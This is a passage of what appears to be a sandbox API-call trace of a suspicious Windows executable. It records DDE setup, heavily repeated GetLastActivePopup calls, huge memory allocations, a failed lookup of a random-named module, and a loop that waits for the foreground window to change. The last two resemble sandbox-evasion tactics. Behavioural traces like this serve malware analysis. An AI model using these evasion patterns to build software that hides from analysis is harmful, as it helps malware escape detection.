(lpModuleName="comctl32.dll") returned 0x72e20000 [0029.233] GetProcAddress (hModule=0x72e20000, lpProcName="InitializeFlatSB") returned 0x72e5266f [0029.233] GetProcAddress (hModule=0x72e20000, lpProcName="UninitializeFlatSB") returned 0x72e52542 [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_GetScrollProp") returned 0x72e51d29 [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_SetScrollProp") returned 0x72e5238d [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_EnableScrollBar") returned 0x72e520c9 [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_ShowScrollBar") returned 0x72e51fdb [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_GetScrollRange") returned 0x72e51e8d [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_GetScrollInfo") returned 0x72e51f0f [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_GetScrollPos") returned 0x72e51ccd [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_SetScrollPos") returned 0x72e5216d [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_SetScrollInfo") returned 0x72e522be [0029.234] GetProcAddress (hModule=0x72e20000, lpProcName="FlatSB_SetScrollRange") returned 0x72e521e2 [0029.234] GetModuleHandleA (lpModuleName="User32.dll") returned 0x77ad0000 [0029.234] GetProcAddress (hModule=0x77ad0000, lpProcName="SetLayeredWindowAttributes") returned 0x77ada6dc [0029.234] RegisterClipboardFormatA (lpszFormat="TaskbarCreated") returned 0xc078 [0029.235] RegisterClipboardFormatA (lpszFormat="Link") returned 0xc138 [0029.235] DdeInitializeA (in: pidInst=0x1211ad4, pfnCallback=0x45a294, afCmd=0x0, ulRes=0x0 | out: pidInst=0x1211ad4) returned 0x0 [0029.235] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12fe00, nSize=0x105 | out: lpFilename="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x30 [0029.235] DdeCreateStringHandleA (idInst=0x1000080, psz="3838612080743901967", iCodePage=1004) returned 0xc000 [0029.236] DdeNameService (idInst=0x1000080, hsz1=0xc000, hsz2=0x0, afCmd=0x1) returned 0x1 [0029.236] GetSystemTime (in: lpSystemTime=0x465c30 | out: lpSystemTime=0x465c30*(wYear=0x7e2, wMonth=0x4, wDayOfWeek=0x3, wDay=0xb, wHour=0x9, wMinute=0x17, wSecond=0x10, wMilliseconds=0x3b0)) [0029.236] SelectClipRgn (hdc=0x0, hrgn=0x0) returned 0 [0029.237] GetLastError () returned 0x6 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.237] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.238] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.239] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.240] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.241] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.242] GetLastActivePopup (hWnd=0x0) returned 0x0 [0029.245] VirtualAlloc (lpAddress=0x0, dwSize=0x3fb03eea, flAllocationType=0x3000, flProtect=0x4) returned 0x2230000 [0041.535] VirtualFree (lpAddress=0x2230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.011] GetModuleHandleA (lpModuleName="T8be7LcIRYaMbqOYuD1TOc") returned 0x0 [0048.011] GetProcAddress (hModule=0x0, lpProcName="kthn4CscVMKCre9n955LhUJQdUa60") returned 0x0 [0048.012] GetForegroundWindow () returned 0x10198 [0048.012] GetForegroundWindow () returned 0x10198 [0048.012] Sleep (dwMilliseconds=0x169) [0048.372] GetForegroundWindow () returned 0x10198 [0048.372] Sleep (dwMilliseconds=0x169) [0048.746] GetForegroundWindow () returned 0x10198 [0048.746] Sleep (dwMilliseconds=0x169) [0049.121] GetForegroundWindow () returned 0x100d4 [0049.121] Sleep (dwMilliseconds=0x169) [0049.495] GetForegroundWindow () returned 0x10198 [0049.495] Sleep (dwMilliseconds=0x169) [0049.870] GetForegroundWindow () returned 0x10198 [0049.870] Sleep (dwMilliseconds=0x169) [0050.244] GetForegroundWindow () returned 0x10198 [0050.244] Sleep (dwMilliseconds=0x169) [0050.619] GetForegroundWindow () returned 0x10198 [0050.619] Sleep (dwMilliseconds=0x169) [0050.993] GetForegroundWindow () returned 0x100d4 [0050.993] Sleep (dwMilliseconds=0x169) [0051.369] GetForegroundWindow () returned 0x10198 [0051.369] Sleep (dwMilliseconds=0x169) [0051.742] GetForegroundWindow () returned 0x10198 [0051.742] Sleep (dwMilliseconds=0x169) [0052.119] GetForegroundWindow () returned 0x10198 [0052.119] Sleep (dwMilliseconds=0x169) [0052.490] GetForegroundWindow () returned 0x10198 [0052.490] Sleep (dwMilliseconds=0x169) [0052.865] GetForegroundWindow () returned 0x100d4 [0052.865] GetLastActivePopup (hWnd=0x0) returned 0x0 [0053.137] VirtualAlloc (lpAddress=0x0, dwSize=0x1c947a70, flAllocationType=0x3000, flProtect=0x4) returned 0x2230000 [0060.948] GetLastActivePopup (hWnd=0x0) returned 0x0 [0060.948] VirtualFree (lpAddress=0x2230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.384] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.385] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] 